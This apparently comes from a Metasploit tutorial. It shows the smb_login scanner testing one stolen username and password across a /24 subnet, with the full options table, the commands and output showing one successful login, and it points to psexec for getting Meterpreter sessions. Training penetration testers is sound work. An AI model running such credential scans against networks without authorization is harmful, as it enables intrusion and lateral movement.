

SMB Login Check a11y.text SMB Login Check Scanning for Access with smb\_login a11y.text

Scanning for Access with smb\_login A common situation to find yourself in is being in possession of a valid username and password combination, and wondering where else you can use it. This is where the SMB Login Check Scanner can be very useful, as it will connect to a range of hosts and determine if the username/password combination can access the target. Keep in mind that this is very noisy as it will show up as a failed login attempt in the event logs of every Windows box it touches. Be thoughtful on the network you are taking this action on. Any successful results can be plugged into the windows/smb/psexec exploit module (exactly like the standalone tool), which can be used to create Meterpreter Sessions . msf > use auxiliary/scanner/smb/smb\_login

```
msf auxiliary(smb_login) > show options
```

Module options (auxiliary/scanner/smb/smb\_login):

Name	Current Setting	Required	Description
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ABORT_ON_LOCKOUT	false	yes	Abort the run when an account lockout is detected
BLANK_PASSWORDS	false	no	Try blank passwords for all users
BRUTEFORCE_SPEED	5	yes	How fast to bruteforce, from 0 to 5
DB_ALL_CREDS	false	no	Try each user/password couple stored in the current database
DB_ALL_PASS	false	no	Add all passwords in the current database to the list
DB_ALL_USERS	false	no	Add all users in the current database to the list
DETECT_ANY_AUTH	true	no	Enable detection of systems accepting any authentication
PASS_FILE		no	File containing passwords, one per line
PRESERVE_DOMAINS	true	no	Respect a username that contains a domain name.

Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RECORD_GUEST	false	no	Record guest-privileged random logins to the database
RHOSTS		yes	The target address range or CIDR identifier
RPORT	445	yes	The SMB service port (TCP)
SMBDomain	.	no	The Windows domain to use for authentication
SMBPass		no	The password for the specified username
SMBUser		no	The username to authenticate as
STOP_ON_SUCCESS	false	yes	Stop guessing when a credential works for a host
THREADS	1	yes	The number of concurrent threads
USERPASS_FILE		no	File containing users and passwords separated by space, one pair per line
USER_AS_PASS	false	no	Try the username as the password for all users
USER_FILE		no	File containing usernames, one per line
VERBOSE	true	yes	Whether to print output for all attempts

```
msf auxiliary(smb_login) > set RHOSTS 192.168.1.0/24
```

```
RHOSTS => 192.168.1.0/24
```

```
msf auxiliary(smb_login) > set SMBUser victim
```

```
SMBUser => victim
```

```
msf auxiliary(smb_login) > set SMBPass s3cr3t
```

```
SMBPass => s3cr3t
```

```
msf auxiliary(smb_login) > set THREADS 50
```

```
THREADS => 50
```

```
msf auxiliary(smb_login) > run
```

```
[*] 192.168.1.100 - FAILED 0xc000006d - STATUS_LOGON_FAILURE
```

[\*] 192.168.1.111 - FAILED 0xc000006d - STATUS\_LOGON\_FAILURE

[\*] 192.168.1.114 - FAILED 0xc000006d - STATUS\_LOGON\_FAILURE

[\*] 192.168.1.125 - FAILED 0xc000006d - STATUS\_LOGON\_FAILURE

[\*] 192.168.1.116 - SUCCESSFUL LOGIN (Unix)

[\*] Auxiliary module execution completed

msf auxiliary(smb\_login) > Next VNC Authentication Prev Vulnerability Scanning